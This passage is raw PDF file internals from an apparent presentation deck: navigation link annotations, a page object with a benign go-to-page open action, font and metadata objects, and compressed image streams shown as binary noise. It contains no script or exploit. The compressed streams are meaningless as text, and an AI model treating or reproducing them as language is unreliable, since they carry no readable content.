263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 289 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 290 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 291 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 292 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 293 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 294 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 295 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 296 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 297 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 298 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 299 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 300 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 301 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 302 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 303 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 304 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 305 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 306 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 307 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 308 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F61 311 0 R /F39 87 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Im7 118 0 R /Im8 281 0 R >> /ProcSet [ /PDF /Text ] >> endobj 309 0 obj << /Type /Page /Contents 310 0 R /Resources 308 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 90 0 R /Annots [ 282 0 R 283 0 R 284 0 R 285 0 R 286 0 R 287 0 R 288 0 R 289 0 R 290 0 R 291 0 R 292 0 R 293 0 R 294 0 R 295 0 R 296 0 R 297 0 R 298 0 R 299 0 R 300 0 R 301 0 R 302 0 R 303 0 R 304 0 R 305 0 R 306 0 R 307 0 R ] /AA << /O << /S /GoTo /D [ 488 0 R /Fit ] >> >> >> endobj 310 0 obj << /Length 1394 /Filter /FlateDecode >>stream xXKo7Wtti- AA]ˮ˪em}gڵ,dq3rpfHΙ`Fblk^& -[Г[8VՎ-uխB* &]9r &8Qq˵G{/aͭT"iݵ#TZT`eh{d)d KD `wJ10c6:$)/[hBț`i.t9KYKV(nUH9#0#)0,Iӧ|%+l0[u;N$-'u$!<74BG,q֐'"==?cp{!PkA!&{|6L>'Oѓz+֗I딙P|8 uDbiǯӣ^|ͮ< SYIU(\&MGc{J MuX2C(t|y/irtAImnFÝV[G { /#f;ɶy`[[oT?&%<{hE?1|C?8oY n(=o\.s0W ID.N`鯜פ?X Dr0< k ]+gi2MKۨmR H4Z,8|fw0B5Z{V%l"ԾͲy/^T*7IaI0W@3[ƷO;iDhW٬ǭv9#E-?{n'].-?;M4|f-r !(woWڑvq {X"!>MKJRn`,3(Q8}+YB:)fx\X yd!jxX*p2f*,X|z% &c;:> endobj 312 0 obj << /D [ 309 0 R /XYZ 334.488 1.245 null ] >> endobj 313 0 obj << /Author (Fred Raynal) /CreationDate (D:20090525142500Z) /Creator (OmniGraffle Professional 5.1.1) /ModDate (D:20090525143000Z) /Producer (Mac OS X 10.5.7 Quartz PDFContext) /Title (pdffull.graffle) >> endobj 314 0 obj [ /ICCBased 354 0 R ] endobj 315 0 obj [ /ICCBased 355 0 R ] endobj 316 0 obj << /Type /ExtGState /ca 1 >> endobj 317 0 obj << /Type /ExtGState /ca 0.1 >> endobj 318 0 obj << /Type /ExtGState /CA 0.75 >> endobj 319 0 obj << /Type /ExtGState /ca 0 >> endobj 320 0 obj << /Type /ExtGState /CA 1 >> endobj 321 0 obj << /Type /Font /Subtype /TrueType /BaseFont /PYSRJI+CourierNewPS-BoldMT /FontDescriptor 356 0 R /Widths 357 0 R /FirstChar 32 /LastChar 122 /Encoding /MacRomanEncoding >> endobj 322 0 obj << /Type /Font /Subtype /TrueType /BaseFont /FDLUQU+Cochin-Bold /FontDescriptor 358 0 R /Widths 359 0 R /FirstChar 70 /LastChar 108 /Encoding /MacRomanEncoding >> endobj 323 0 obj << /Type /Font /Subtype /TrueType /BaseFont /XMSHNQ+Cochin /FontDescriptor 360 0 R /Widths 361 0 R /FirstChar 32 /LastChar 116 /Encoding /MacRomanEncoding >> endobj 324 0 obj << /Length 1283 /Type /XObject /Subtype /Image /Width 89 /Height 35 /ColorSpace 315 0 R /SMask 363 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xXgTEξ8ag8J *9.,E JTuu׫/Lι޺RaQ/J»EIx(ob^Vx5/ yAx1 M37s_9fx3#?gYFx84<0?M )4%Lӝi3",MDW tW }T`Y; z2@c.}_Sz5 >0lO6?DO2Kr>FGYzߦo P)pk&1}h׏~kuM?_4 Z_Uߥo@n "?;a !6}F6$ٚl߸6ָ:F'>OZ71}hR@_V_߸:F\2Z~ .kR Jwcğ u'ԚRq%ih]˿xkͿ>@J/ GKnD`.ۧq i>}7 Ηs4,~}_} ԝiVCZ|~=藚RD@RhW<Ɵ'O`gX_V?_>pV;+~cƟO7՗ OGok`}՗A4ej1Q5ZhϳKſ?C© ~cnO>ModMD8p2a-?O"B?ym~#F@c;A[j.?N{/_U_4ex/~aa  ep.9bĿR@T_Gnۯ53_Ki~%z=qz9~׹VݏgwӇ$}᠆sԗxo}~xHǷӿ2@g]R)b϶Ͽ/V oE#7@?~}xw6eLm_-"j%f])>ߢh|Vq endstream endobj 325 0 obj << /Length 2023 /Type /XObject /Subtype /Image /Width 111 /Height 57 /ColorSpace 315 0 R /SMask 365 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xn6E.I$)rY GI{WwfdM6Q+tM!9b1fff E۪=fl~kiq4G4A ^PnŪ)W:|nneUwUu} ~Soh\#H ?%CG46X$dF'כe'Eq[7M˪muWR7M'0cL7>mSz~5ʾHQfS,2)wɾLjx"Dt`}!͘s>f}e7{S`lYҺX<(  ަ\b~̅~Mx̷.rWt[.< #&1f:gK蠴 jBݧj'-,]1v%$L"{DH*0Pb '"fdE2g4RJ +3ttre-%$,TNH,Q㥏yKh'~q.MVȯ>%EC^Pk̹ (D{Z-:T)EmghXf6}CxB~$(DlU, B将2U`2y՚i*'(Ndڪj3@af{gv$ETbALO1۽}Ob'UELԢ2T^q`XM;~r;N Shi˞K q4#eAha@U_uBdstd= zfvK, dtf v \1AMRFj\r>^Y+z~*;^RZ$:05ᨋ'MCD S>OJTnCn ɟgX15%s*InL3.*5yʴQKd́OY% /33{′ endstream endobj 326 0 obj << /Length 2010 /Type /XObject /Subtype /Image /Width 111 /Height 57 /ColorSpace 315 0 R /SMask 367 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xnD qOяIoͯNhƴF^,=3;;b1fff:Ţid5zH/u<|z|5߅z@#!V@:p}.>~0G4 /bUn)W:|sfineUwUu} ~a\#H ?%CK46X$dDh&7ɴL#"k_ntףQ&G%s\5|s]'w)GiGti}$J~ȭmh(nس=_v3kϵ0v>stream xc`!0!0!0!0xC endstream endobj 328 0 obj << /Length 80 /Type /XObject /Subtype /Image /Width 196 /Height 22 /ColorSpace 315 0 R /SMask 371 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xЁàSPa 0` 0` 0` 0` 0` 0` 2 endstream endobj 329 0 obj << /Length 47 /Type /XObject /Subtype /Image /Width 24 /Height 74 /ColorSpace 315 0 R /SMask 373 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream x  Om7@a 0` 0` endstream endobj 330 0 obj << /Length 2041 /Type /XObject /Subtype /Image /Width 117 /Height 63 /ColorSpace 315 0 R /SMask 375 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xnFEAĶ(57}?/ P++n EvP@e\gggwg4Ob 1H $)hg=N)-VVYQ>ۏU#?xA vIҺ?X@p`A49x] 4]d 1^ .0.ҏEa4̔d<[ k-4 W2TbU\2vhs@TN(`۴Uy]c\H5Nzk]#382#TklP.!Adh~j'ZɫyqAܪ]Zn?P Gs5\[6Bak (ؼ 1/O;#shTs9>A)FEzV&me z״ :!d|Ɍ 1CNZ*B'xJpo\uqlAޠCB2)F~u-J/S!/~C᮸x5Tڒj9όP HBS)"^6</oԬ]c^//@r/3h\5-s8^{x]-،&V_ am$`Ƶ0轼? .n٦`1’rpivlقB^AZfk& f^G SZ'zQBwҁMNOMNOMNz+pF΀=Ia~-kΰnwK7^n'7AG`iNQmɷҎ.{Zma޳qMGN<#۶Ťv`ˮڴ{^RF}g:PLNayJ$>)BЧ:wsszMp}lcBչeNrC><7tU=6d!Mp&듚1g'I~Y:oI:Єa4,z˼Lb1h=:t5**r(lPvZ;=ʑCPP۰ ԒP+ dKM WdȐjA@4q3 <"T^yumêR]mу4R/m6]Š:0 H- xl*kz\]3l</.b O&kwRfFbRЁQQ|H;nU\ Sc?aJ-T@Y+l!zc2: RqK*429L Uc^EAv5;b/U$_sQO:јCzQ>A`]9䞁tH $@b` endstream endobj 331 0 obj << /Length 1394 /Type /XObject /Subtype /Image /Width 89 /Height 35 /ColorSpace 315 0 R /SMask 377 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream x՘vSG\qS/VulYE½76C$8qH/$Fzy̌vpJǜ?3/6&D.я8+oq/@j*#\x>JdGC#`<r~7r{5s7:9242|tN~L|9|@>iCnw[:'E\>V/r \}=ɟg.+#S\$?scw$ $қ^ ^_R~Jx}I=rrO]B~NA[]R~`~Id?,?< H>Vd̉1K?RZ52o?}]d|}@7pKWkFi[/I?!>Uoycr_?6"_M=o↤|(_r5{nx/Ϳ+&I_ehOW I'a5(߫& pml'<]=\1`ۡO1W&kiƟ|wƮ:++73'_5s ;$*wt/ 2JnƟEhA=z}+Wu1ol:#$) hyvlY;.Ǝ?JEʷo KۆW_s/ʷ[.- ;lSt}bqkM--!`9NOӟx' h\@>\2/WMğUNƿ2O7A{^~?_nK]>n_Jcv.|4p6 _n-5ϯ+*Zxy`'vx#s9?/$*ݳ@k`~ ?–['lݏ'|a_a Pg@X:@suN~D-Sah:uL5 |S_/D}}inqUZh˯UFrvR>O_/l:ƟDk(*`'c$:Rem WsWL>7UWYNT@|}v'? ܾ _r57Un>{ ɜj7n endstream endobj 332 0 obj << /Length 1846 /Type /XObject /Subtype /Image /Width 89 /Height 35 /ColorSpace 315 0 R /SMask 379 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xXZVU}DEQQdQy2+3+ʹ̜Hlxp={I ks+!,Ax\zw«~,}Ixp_+G~|s~$Rᚏ~j'Ce"Rz }5CZПB<fA8>O@)6R.R> o܍fhvBvm@ }!ܾG&0WxKG)K ~}I;+LcJKh(>L+CWi۟&@*bT?<0Kgwq'~ۗagv, ṇ Կ?D;}s/?]C;Xa/ o!2(/ ooOvі!gҟ ?~1i`ŷԿ>L,o.?2D?I?E#OZ7P_?rHz[8/ʏNssƟx aSɴگ3c_P~9ҷԿ}I`<./ ]Os_ꟷ[8  &'us6}Lꛆ q]@Z~rWa]cμQ+i~?_O7OGkw:FokkNc>w wl9۱e+R/OggsW˿<>M-w-w-?BN꛸&?};`J}}̀ӛ{;/}?b1N}?mzZ7\V~){ןx_={%?^CܕZ7{jlo'ÝpBwSv@~TPo}X/ //w}ƶfiHU_.>~uu/wi^jC?ݣ߼  [??OvKgܘgO x6jD47o@_忯OHi?7Qh4Fy4ۯxDc//Ш7ohnϮDiIm]x7ğ&ߊ٧/|S :@ݺ _-~xAۇFƟcھ?^ g#uj'l!O~_iM,PW`̪fUo/m__IKI~mVemfeM @'|ʿ/Y_|Fڟ?Jo_ng)53Wg/ D"Vm` _şq}_C3%8_}~W_ע,?1)=})ܾ_NZ@E ~Soӿ}Irm9bMى5e9A| endstream endobj 333 0 obj << /Length 1500 /Type /XObject /Subtype /Image /Width 89 /Height 35 /ColorSpace 315 0 R /SMask 381 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xXiwE ]]$lIH $$;+bp#"ↈ*NoLwk߼Lr=V[u/K-2P+ず{faW=]5sWM̸)'Əjq[M3So5"/5F`ܤ49 ߠ )>f|D$*WKA>HE}QiQ1@q'5}:qS `VS-> ` AS@&w9G1}XQwNCB@]S߻ ?fgC~*~~s7Xk*k+NǁknWcKz֨-ƥxIcVi+~uݧ*@ݗM@Yr;Ƕ?2_ye߷XA^/C/f\t5Wm^i[/ ?3m$@ >1#ӏٟz2 0 ^._J9[ ?>*@G/z7x}*>dd!w \`ґU\ջO1nksM֟FzI/Uxq:/~oX0?h\"cpb믚7@_iM/@h@J/W ?@}m^ @:lj/Ss#~Jןd$seǯ~MkCRgY/z!PsZz߀[CS}~uswK" $+~Ss)o| AF^R'f8U~s/Q~Q3|n[M폷"[wo+"?COU߷e~Z>stream x1 Om /@a 0` 0` 0` 0` 0` 0`4 endstream endobj 335 0 obj << /Length 3282 /Type /XObject /Subtype /Image /Width 163 /Height 97 /ColorSpace 315 0 R /SMask 385 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xY%Ew<[hATVPpU2T֩v뮸;߽V?a|yom5} _0y J|~fAfn6afg7n֕f-q\:Oa||G2V]KzUĕZ*?\ժ4cKC *_!K;K|;k P$T.= KOr*9.KOj;ܬuEW^}npeTj2dpIaY'} ^˧W6>܎vQev=N(p!%:,Ǖ HOUmW[*쩨Sp> _˔L]oR<9,$I[6F{yoYNK|9tSpUUw"n>e|2kܤ2϶3oVZ%_Bl‚4 ce~=2#Sλk)w|:ͶתJ*07]UrXᴫڮv媪zu^h*e9[.jQ8 ѓpLOcoef"\LIzUl8f/]P@4i72#SλKE\PG;Le启u zFⵈ߽X@膫.O֏ۮYW@s13z?ef]xC@lWf7 4eKI\Kʋ7oݨy?u efRlYDt L{Ȼx!(^.e 3p}lv Rsx Ў/'E^%o3p 4EL43ńbm9op)Axs£L9ۮZli׶-Jݘx$/oF_q.mWKF%/oN]:w ~k)sqaE2qen\zKWP586 s>Cι&o66>5!x]H)/KCxjLp*[#E69}l÷nTNvՁr1uƟC]ݔHڪeEgD]2yKW溆9fX\ү5=Љ|'a2x [UvӮ3CC%dSp mTWaO֍ޝl2*2eJ 6݇ӐZG|iM{ *lgn$^I:˻GLd ߺ ZLZUly.Vfd*'.<ʈs;%%!2ac 1uuxzɋk90YJncۥ8tpm˲vnRFᦷUvm7.^+ɣ5wݖ,ӓUmW3(mX0- -Ț| /͉|Ym+>xANn<%J 3%,XL\[[!'{:l[U;tkE-K| \[ wطnƸDrL9 ]Uʡ{Hx vr7S*3bRm3{YƤm.!ɘ";=n-82p/@1`,_vm T/Tp=dJ/õɃу|:dva5bL²LOVf.尠}7_}On*߆e6U{gv;zvcѶ1ȶ mn!dvgU"Ma^*s؉K<*{&2]2/ṼTUlWk 萯Q!q=92g]UK[([w{HTqc%ڕ\Gyqjm+3vkBvu+|Ar䁛n&\1jIʜj\fM> \s_ C(f>‚9rn7Q",&p[phfɁp;vrw_M%*_dp- DCMݟBT7v,[$ [K_8췌!Z l'c‚ŤxِB1Bg2=2K^| ʵj*X΋弍rV/-?o endstream endobj 336 0 obj << /Length 2901 /Type /XObject /Subtype /Image /Width 185 /Height 119 /ColorSpace 315 0 R /SMask 387 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xnFuEAI'_ 9PbwEo;K;N(i>q1Byyf{=pj5MZwwnW8*n5~ !{_x;"kMbN|Qo~pFNǷ_{^e1^UAr8pr3-~X5۾ y>9~`uӔ_fl`) 8ALudH0xcݿڶ躵nTá_mu7:ٯk!k | ,*NtH"!CcW}ũ/PTr&S_f:6Ef=@kJi(G7”pjh.]rhq(Ex`)d{.BsI) Zֽ\皤y=ͦ-XC[;e@rl+§ϵ갷T^ i bB+-zP: l}6ձ-GnZT9pʒZ"t|D2֥PBX.46|_p@Oj4"dDC:P)Z+MMb)@CEJP ,o/ R =6,/!(UVu X [p2RZB-: RVDUCbB@J d=l V'\?iEx@Q'T|epO< rg_ < Y6"H}}-+J b՜).WAt-W X@EDzhyDzO/Q`,M'\Ap5k9TiQhqbgtqY[%; C*8U-*ryǚfqg_?Q6=IV3^Ch.£FDE igH(dG.>p,!**!D zj4A<C%%2L T%#>Ǩ/pK߯ߖjZy}*3cMP8℃3C9#Qy}z_g8#GeSDzlzBe;tzN@ `ſ$r}'UMx36ũ/CW>f [;0_ PQޱ$i:E=0Gʪ CcJ*Ti/fU 5 jKX>L_\ԨڡV ja *KJ`NRPk3fJUpš RkzUN4OkZ`%%Pvʦvc5B׌7Z/s)A9 X'pSzLˤ4ۡ-.@KT* ;~hbP##*-ZN:2'>@-%KUKTK#cR$$VDlJע<6%0" Y HO]f?Y[[~yX q7XJ! #mDbd䅴c ˀ6鰯p 2#1>򛕄($jIKo-kYc,sk$t{=H{ endstream endobj 337 0 obj << /Length 4633 /Type /XObject /Subtype /Image /Width 138 /Height 127 /ColorSpace 315 0 R /SMask 389 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xwſ(G$!( DXU+ - `XIcCuWty3owϩ߿sVݮ}u^ev.֝u?Y~k6~5kXP\K뻛kFշ7|{C77__OӬZյ0V*˫V}yuʪUV~~eWPRץ]ZAK+tP>(Cp1qa"?J" d")P2@HhD.q" @jQJa2)HC&Z B,+OWB ߸et-.ݵ}ѮU LI2@Jo\F2hSk%RtDȤJKi\'fVh͊ i\.(֓@bcyZA+ 6ˎj\=qLpyPy1:MXIS35n8 A?d1+ |[>a%b7&.qqյm !FGV lݵڸ8? jcZV3e%b8i%qi+q!PtDle)ǭr+K$h>C3K$vyp5[}u0ZI@9UO#ZIWf`W26.*E߳ZƊVVʁ$Ob!DVCW7."Ms2V3V" Ҹ8 rn7SG3cIηt+)D&|yo%)DS2QD-{_r@~wkĩwn,|4_|Vrv{=]ҸQ2̍+l%e2QD ;;^ݍ+ٽqJ@B6wagsNj\N"gӉ"|)f2JJ.%񡉜YΙ%)FMXZLi |90~ggSLz*MѼ}f\.'.+ 58%i>LO\E5D@2 ӌtJRcjJweBYdԳ HLF>(bB.|{"\;t$S++d1"@3į(WzR^qJ^+)"PT$O@' \=TڸDFxKNm }̗t-k\JU et[|iH;>u,o\F̛IF"ߙ;Y PqYɼqX\za'.J6.!bYոCGcsEޖI-DK2\%VJ2a-h"{#ʥпT'ҫG6n2H"# 7̫X{bei,/ʊ Dy?FD6.)-EdנN U:Mb2_4wO3^qb%q9p.z6xsgq -+1nYEjD(E!w4t̅Fd\ug`9'EDd> f%qQ "Vqf)I3pRD(# B4Ҳt NIJ∼,'QPF=I #NZ ]ˆ@u|Oy ܔ8EBe?f7Y "l_($hnr]dE+D7O>ʊ\#7m)UysY#N!Ke30^L$PN<u*9cG^b%{IH[41)NDBhJs3pW8%$r몐NF" &ɛ;)dA+KiDဏ㲮ݸ 30ZICGOl<'Vpl\k!q0"c2@2ݘM誈2q. m\LsIw+1'.VR)EdxEWD=f`S+I\^x} ܄Lm%VJ^tBY7VD7.#."F4^Rz+|Rr,qE. Z ꥔Gʱ٧|NSHb_p=ѸC30{խlƥ5B.{+^y2on%8EU74JDu-2P%Nq5.ݵݲLL"GS0BQ7*V{^G8%J T)Ie+ehECt.yB.+7P;|88q)#"k# 793fy{h% [ :rZDЕG^Du-K&8wx[L8Jh㲈D BoXFot:WJ^Zu$HDp9<,T},"S30]IƭrEe p"矁:ī#){V'NsWV"&.#0w˒ hXr\NϪS)\&L^$^XWV8WD@)~(6CG=+Kn{[j%S 0}))Rq)P"罤R²,E驕U{~"  98o\8t&| 8>rɼrl\"Vr@֩o%)#oa1H-+Q] ?F(RqbdhfQ2e3wA{ʁ^7Ny ,4wn%)KiH"e?Pn\uVxU&Y"{309=UDzUQG^ 08J Z#&)Hf U:bq !hs/k\R#&}sO{\T^VbN\~s;2qX !bȄBA: <֭ĕ5$m\sD5G^H/ D})+ы Jh ZS#9{Uw)l걕`gDѽs^:Kb6VbBD9G܍+vqJ#\ ٬N1ҕd8D\f딺q ^)K096wA~}H-NیS .Lڗ"')L)>HgWl\ gAVX!X:G$+90Yu qh"˞Yv:гCǺV5w 4LVBdF(OV5Fd$HdZ&RuHS+qjDA([g2艋Ukl'2QDN)YJ:j%A"ۦnQ5QkČSDkZS#ۦnUDǔۦl2qbRܵ@2aP8Ie)$c'EkA/8q9lIk^L-Dc3pl҉2Q8c)I"c#%{"pb{\@j#B2 hbJ@BMsYAVd71y y8VB0"J&LM7E.ҵ2[: "jP9tEJ|) ZJFs76.Ȇ֪? endstream endobj 338 0 obj << /Length 41 /Type /XObject /Subtype /Image /Width 59 /Height 22 /ColorSpace 315 0 R /SMask 391 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xЁàS_Pa 0` 6 endstream endobj 339 0 obj << /Length 1283 /Type /XObject /Subtype /Image /Width 89 /Height 35 /ColorSpace 315 0 R /SMask 393 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xXgTEξ8ag8J *9.,E JTuu׫/Lι޺RaQ/J»EIx(ob^Vx5/ yAx1 M37s_9fx3#?gYFx84<0?M )4%Lӝi3",MDW tW }T`Y; z2@c.}_Sz5 >0lO6?DO2Kr>FGYzߦo P)pk&1}h׏~kuM?_4 Z_Uߥo@n "?;a !6}F6$ٚl߸6ָ:F'>OZ71}hR@_V_߸:F\2Z~ .kR Jwcğ u'ԚRq%ih]˿xkͿ>@J/ GKnD`.ۧq i>}7 Ηs4,~}_} ԝiVCZ|~=藚RD@RhW<Ɵ'O`gX_V?_>pV;+~cƟO7՗ OGok`}՗A4ej1Q5ZhϳKſ?C© ~cnO>ModMD8p2a-?O"B?ym~#F@c;A[j.?N{/_U_4ex/~aa  ep.9bĿR@T_Gnۯ53_Ki~%z=qz9~׹VݏgwӇ$}᠆sԗxo}~xHǷӿ2@g]R)b϶Ͽ/V oE#7@?~}xw6eLm_-"j%f])>ߢh|Vq endstream endobj 340 0 obj << /Length 6714 /Type /XObject /Subtype /Image /Width 108 /Height 256 /ColorSpace 315 0 R /SMask 395 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream xٚ&ŭEElf08<ttX5"3/JbkY/~l燫?=fG\= LVl\_nN&aVrU۸ ǯum[Bb-FtS@fx_\gztcbqI~w{mVEG:}j$^yh +GnHM̼ړ  s6Wм-sO1+8wMB~v"+;H?f ج.:q䧏V!4f1/ }6I+8/4?ޤ5K握ܻ0tJa$Lo5[>axg1eBhJqu!W Uؔ YΤ;& ltofO)-(Uhnm¿fhɕrb'X-ޤj*`J#BN:~aC6_ڛOdq,Uk LRtrybɒf>I<l?tQ_?+ziƔFt>Un snoyS2͋85۷Gi#"gE\)jx=Ҹ<6,m<#+v(^9٦xbh뤊F wpN4K:qn^ę(nlLcͽg#"g։*WPmnoWcZ/FqNzOfRiDk)=4K7(nNhOUV\1qn^@T*K}.WG{0BJN 9w~1ǭ{QQr+ʦ+sw+{iY1yVϙmnl7VVc\7w, 7R1Z/|2 qEr~T1PrzVȑ\@eu6: 1V 4hƥIFt·4&BL^eXUs&مpW%A3Ԭ,E1>  X'u'=aT8%gESM {g#yZ)WD0nƪlsz PZ1ya]Le{=re)t]71Cx@j6JQ uۣ*ьǭju4HR r$EVFcU =F4,$V}".I7g6S~'ږ\ZbȎ ,'*j]MK:.dd*{hRRHF! |ku[O/zV%$Dܼ\YY*RMsrɍF?#%`jAY'f*]V.KRrs^d؈>D[T{ hOK:N,ĵI#+Ā8LS4wF3 >%dd|!ChRs ".X4_%-ќT+q+Y$)!pWTb)zNӝCHwEKY1p "O]j:1#nD =ytx璋B(9U𔷨&ĆA'J6_18yX-b@Ei҄VmOIX1aP_V1qۢJwq+Y񉅸)Kb88d6J*.W!FR%m^27*YRJV7qP KCh9û.DLJ4y/!K.F& "":9.z{b>liED|212Qs󂧼E5nvMlK\r^IFC@魂GB)v'NМW4 BPd>C}VĤ=xQ\Әxfd|b!.&)Bq.[V]-hq񉅸zT27 y vQJvybXBp!;>fSh\B;N((i&iS+:5荞%gTWDY21s BE+(E4@c4,3Ҩ%'s5-*#0#ctEL!#ӮEd  3zj "b~ѥ %Ze z{Q"1fdpAD΍+(~K"G8o:ڠ=, ┈k?/fh3+4Jjفܥlt'GیØ@sס8:tV0 Ӧ' RIw8 *xW\ RaѶaFI c}K34I1ߙe p{A`Ff2w=Wp5-Og(x"unÍYA ZU- %Zu IXSCZuh؃x4+4jf /R|;-Ѫg(u C7`a`ydrL=2E4h5 ?.1wZAScNYEVs1 g69 ]4ܪ!Lpq(h-#x.uB\=Cne} +Z uBaW,׹s[A,ߟ~>)Y!>_ ?!~Zfȿvt)C韢î4Vp{ Q׬˿+<:b!+Pw[F\ (Vrs XA2)SwрrVW212Q8hC2aKA.aZbFCVRWWDY21spV24jr==K ka? FIg(uV4 O)uA{mX]&i|bhW@en:-f_H)Tex=fd|hK1^+)~8v#@aOlK'3<&çdh6J Kwu8VIFCh ?_ B4fؖPZŷ>)us7.'ްHA.Ğz (%#9;xmgx\GVIƼOM3ŌX ZENYIťJ<3Z=dx#Z-pLԐt,)=?t MZm{MU(.ShC|J $@dsR\a{ӚJ% C/@ ^p rq m]~g%ah$LVEOSk!p(-gI݁" SjY*45ՊhFJIJC/TqY-ƢsT1l4SSRHF2°He{hR#V!I'06yEb#LXs@.KRZW"(Ltk*S0ԏxDWh>Λ`g4$l?YZMJ (O1b :NVQZzN hųsY?riS?B^oOu&I`W:gG?SUѤ|~:/|AhKBgH:|ƞ ~gmPfe{Wn_+~ 2gwu/khSMgaRo0=VӣoEe)_{[>?bR歲=c6"=hIz!ylѐh O1R{CwLVTbZ>*Ũ[:ə(UYJǘA(ʶu! ={|cMzrUy?,Ўqu*{Uؿ4T^%F&Bn1BMWV_{i1|+K-yeyd]e5ҳRʞ'8P9<oiY~~~'Z磦u 0'|L?M1c8h:Q?aanWcH:)rYͷ49nY?ҳN(uq&X'8aW,i褎Q3]mG:"İcVTNec\u* dΚC;d|Lona>1<*t֏&\EnTqM|~-iƔ/45ni\6 &\)jqy}~<ϭj^Xa< $W}~[nk>=#/P^ i&q|U;,tv4"~A{|Xo/E)' :}(Qi#7xg5hq4oJWpJSek~ V*`JC}ұbeKl \;i+q+5[[hkAgGCzFi_#ኤh< Spl'QdX7StL87)J'szᶎ)_[͖߄U+q'*XY:"GۛU`Főϵ6舞!@SԕrMۣv'MdL8HoYY+\M BwT"^;j G)f4U 1\O5P 6.l"?u\{{5\[k9פT]C+SU3f8oթDG0cKlƋe S Tߚse;9${{5O쭙mgƚtwԲbˎ}Ah9/8oթDosye S 4[?kNG}6I+8o^ 7v44aH* e/~)LIzm B_T"|xbI]2!| 5Ǭ{{5ܯ8d\y^lsU@Q^.s$BC ꫯbsu!O焛+Pp=@/;R 